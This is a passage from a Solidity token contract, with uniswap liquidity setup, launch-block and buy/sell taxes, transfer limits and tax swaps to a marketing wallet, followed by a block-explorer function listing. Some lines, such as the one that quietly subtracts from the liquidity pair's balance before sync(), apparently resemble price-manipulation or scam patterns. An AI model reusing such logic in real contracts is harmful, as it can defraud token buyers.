    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sndr, address recipient, uint256 amount) external override returns (bool) {
        require(_checkTradingOpen(sndr), "Trading not open");
        if(_allowances[sndr][msg.sender] != type(uint256).max){
            _allowances[sndr][msg.sender] = _allowances[sndr][msg.sender] - amount;
        }
        return _transferFrom(sndr, recipient, amount);
    }

    function _approveRouter(uint256 _tokenAmount) internal {
        if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) {
            _allowances[address(this)][_swapRouterAddress] = type(uint256).max;
            emit Approval(address(this), _swapRouterAddress, type(uint256).max);
        }
    }
    function addLiquidity() external payable onlyOwner lockTaxSwap {
        require(_primaryLP == address(0), "LP created");
        require(!_tradingOpen, "trading open");
        require(msg.value > 0 || address(this).balance>0, "No ETH in ca/msg");
        require(_balances[address(this)]>0, "No tokens in ca");
        _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance, false);
        _balances[_primaryLP] -= _taxSwapThreshold;
        (bool lpAdded,) = _primaryLP.call(abi.encodeWithSignature("sync()") );
        require(lpAdded, "Failed adding lp");
        _isLP[_primaryLP] = lpAdded;
        _openTrading();
    }
    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
        address lprecipient = lpowner;
        if ( autoburn ) { lprecipient = address(0); }
        _approveRouter(_tokenAmount);
        _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lprecipient, block.timestamp );
    }
    function _openTrading() internal {
        _maxTxAmount     = _totalSupply * 2 / 100; 
        _maxWalletAmount = _totalSupply * 2 / 100;
        _tradingOpen = true;
        _buyCount = block.number;
        _mevProtectionBlocks = _mevProtectionBlocks + _buyCount + startTradingBlock1 + startTradingBlock2;
    }
    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(sender != address(0), "No transfers from Zero wallet");
        if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); }
        if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); }
        if ( block.number < _mevProtectionBlocks && block.number >= _buyCount && _isLP[sender] ) {
            require(recipient == tx.origin, "MEV blocked");
        }
        if ( sender != address(this) && recipient != address(this) && sender != _owner ) { 
            require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); 
        }
        uint256 _taxAmount = _calculateTax(sender, recipient, amount);
        uint256 _transferAmount = amount - _taxAmount;
        _balances[sender] = _balances[sender] - amount;
        _taxSwapThreshold += _taxAmount;
        _balances[recipient] = _balances[recipient] + _transferAmount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
    function _checkLimits(address sndr, address recipient, uint256 transferAmount) internal view returns (bool) {
        bool limitCheckPassed = true;
        if ( _tradingOpen && !_noLimits[sndr] && !_noLimits[recipient] ) {
            if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; }
            else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; }
        }
        return limitCheckPassed;
    }
    function _checkTradingOpen(address sndr) private view returns (bool){
        bool checkResult = false;
        if ( _tradingOpen ) { checkResult = true; } 
        else if (_noFees[sndr] && _noLimits[sndr]) { checkResult = true; } 

        return checkResult;
    }
    function _calculateTax(address sndr, address recipient, uint256 amount) internal view returns (uint256) {
        uint256 taxAmount;
        
        if ( !_tradingOpen || _noFees[sndr] || _noFees[recipient] ) { 
            taxAmount = 0; 
        } else if ( _isLP[sndr] ) { 
            if ( block.number >= _buyCount + startTradingBlock1 + startTradingBlock2 ) {
                taxAmount = amount * _BuyTaxes / 100; 
            } else if ( block.number >= _buyCount + startTradingBlock1 ) {
                taxAmount = amount * launchBlock2 / 100;
            } else if ( block.number >= _buyCount) {
                taxAmount = amount * launchBlock1 / 100;
            }
        } else if ( _isLP[recipient] ) { 
            taxAmount = amount * _SellTaxes / 100; 
        }

        return taxAmount;
    }
    function setLimits(uint16 maxTrxPermille, uint16 maxWltPermille) external onlyOwner {
        uint256 newTxAmt = _totalSupply * maxTrxPermille / 1000 + 1;
        require(newTxAmt >= _maxTxAmount, "tx too low");
        _maxTxAmount = newTxAmt;
        uint256 newWalletAmt = _totalSupply * maxWltPermille / 1000 + 1;
        require(newWalletAmt >= _maxWalletAmount, "wallet too low");
        _maxWalletAmount = newWalletAmt;
    }
   
    function _swapTaxAndLiquify() private lockTaxSwap {
        uint256 _taxTokensAvailable = _taxSwapThreshold;
        if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) {
            if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }
            
            uint256 _tokensToSwap = _taxTokensAvailable; 
            if( _tokensToSwap > 10**_decimals ) {
                _balances[address(this)] += _taxTokensAvailable;
                _swapTaxTokensForEth(_tokensToSwap);
                _taxSwapThreshold -= _taxTokensAvailable;
            }
            uint256 _contractETHBalance = address(this).balance;
            if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
        }
    }
    function _swapTaxTokensForEth(uint256 tokenAmount) private {
        _approveRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address( this );
        path[1] = _primarySwapRouter.WETH() ;
        _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }
    function _distributeTaxEth(uint256 amount) private {
        _walletMarketing.transfer(amount);
    }
   
}

Read Contract

allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 7 functions

These functions modify contract state and require a wallet transaction to execute.

addLiquidity 0xe8078d94
No parameters
approve 0x095ea7b3
address spendr
uint256 amount
returns: bool
renounceOwnership 0x715018a6
No parameters
setLimits 0x368f4800
uint16 maxTrxPermille
uint16 maxWltPermille
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sndr
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner

Recent Transactions

This address has 1 on-chain transactions, but only 1.3% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →